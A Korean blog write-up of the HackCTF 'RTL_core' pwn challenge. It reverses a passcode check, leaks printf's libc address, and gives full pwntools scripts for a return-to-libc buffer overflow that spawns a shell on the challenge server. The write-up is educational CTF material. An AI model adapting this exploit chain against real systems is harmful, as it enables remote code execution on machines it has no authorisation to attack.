[Hack CTF - RTL_core]
Wargmae/HackCTF

[Hack CTF - RTL_core]

728x90

 

 

Execute

 

파일 실행

문제를 실행시키면 passcode를 입력하라고 한다. 당연히 모르므로 실패가 뜨는 것을 확인 할 수 있다.

 

Analyze

mitigation

보호기법을 확인해보면 NXbit만 걸려있는 것을 확인 할 수 있다. 문제이름이 RTL인 만큼 해당기법을 사용하지 않을까 싶다.

 

 

Main

 

main

  • Line 8 : s변수에 gets함수를 통해 입력을 받는다.
  • Line 9~13 : if문으로 통과 조건은 check_passcdereturn값이 hashcode와 같은 경우이다.

 

 

Core

 

core

 

해당함수는 dlsym함수를 통해 prinf함수의 addressv5에 저장한 이우 해당 값을 leak 해준다. Printfaddress를 기반으로 이후 exploit을 짤 때 참고 하면 될 것 같다.

 

 

Check_passcode

 

check_passcode

앞서 확인한 if문 통과 로직에 사용되는 함수이다. 동작은 간단한데 v2v2+a1+4*i의 포인터형을 계속 더해준다.

 

 

 

solve

일단 printf함수의 addressleak하기 위해서는 if문을 통과해서 core함수를 호출 할 수 있어야한다. 일단 hashcode에 어떤 내용이 들어있는지 확인해보자.

hashcode확인

0x0C0D9B0A7이 들어있는 것을 확인 할 수 있다. 따라서 내가 넣은 값이 어떤 연산이 진행되는지를 파악하면 0x0C0D9B0A7과 동일한 값을 만들어 낼 수 있을 것이다.

if문 검사 로직

a1의 경우 문자열의 address값이다. 따라서 포인터가 4byte증가하면서 해당 address의 내용을 총 5v2에 더해주므로 0x0C0D9B0A75로 나누어 주면 된다.

 

해당값을 나누어주면 나누어 떨어지지 않고 나머지가 2가 남는 것을 알 수 있다. 따라서 값을 전전 할 때 하나는 2큰값을 넣어주면 된다,

 

from pwn import *                                                             

p = process('./rtlcore')                                                                

 

payload = b''                                                                            

payload += p32(0x2691f021) * 4                                                           

payload += p32(0x2691f023)                                                              

 

p.recvuntil('Passcode: ')                                                               

p.sendline(payload)                                                                      

p.interactive()

성공적으로 printfaddressleak할 수 있다.

현재 작성한 스크립트를 서버에 날려보면 실행시마다 leak되는 값이 다르므로 aslr이 걸려있는것을 확인할 수 있다.

 

따라서 prinfoffset을 뺴서 base를 계산한후 basesystem함수나 bin/shoffset를 더해서 공격을 진행 해야 한다.

 

Exploit은 아래와 같다

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3015)
e = ELF('./rtlcore')
libc = ELF('./libc.so.6')

payload1 = b''
payload1 += p32(0x2691f021) * 4
payload1 += p32(0x2691f023)

p.recvuntil('Passcode')
p.sendline(payload1)

p.recvuntil('0x')
printf_addr = int(p.recv(8), 16)

libc_base = printf_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))


payload2 = b''
payload2 += b'a' * 66
payload2 += p32(system_addr)
payload2 += b'a' * 4
payload2 += p32(binsh_addr)

p.sendline(payload2)

p.interactive()

성공적으로 shell을 얻고 flag를 획득 할 수 있었다.

728x90

'Wargmae > HackCTF' 카테고리의 다른 글

[Hack CTF - look at me]  (0) 2021.01.21
[Hack CTF – poet]  (0) 2021.01.15
[Hack CTF - g++pwn]  (1) 2021.01.11
[Hack CTF - RTL_World]  (2) 2021.01.10
[Hack CTF - yes or no]  (0) 2021.01.09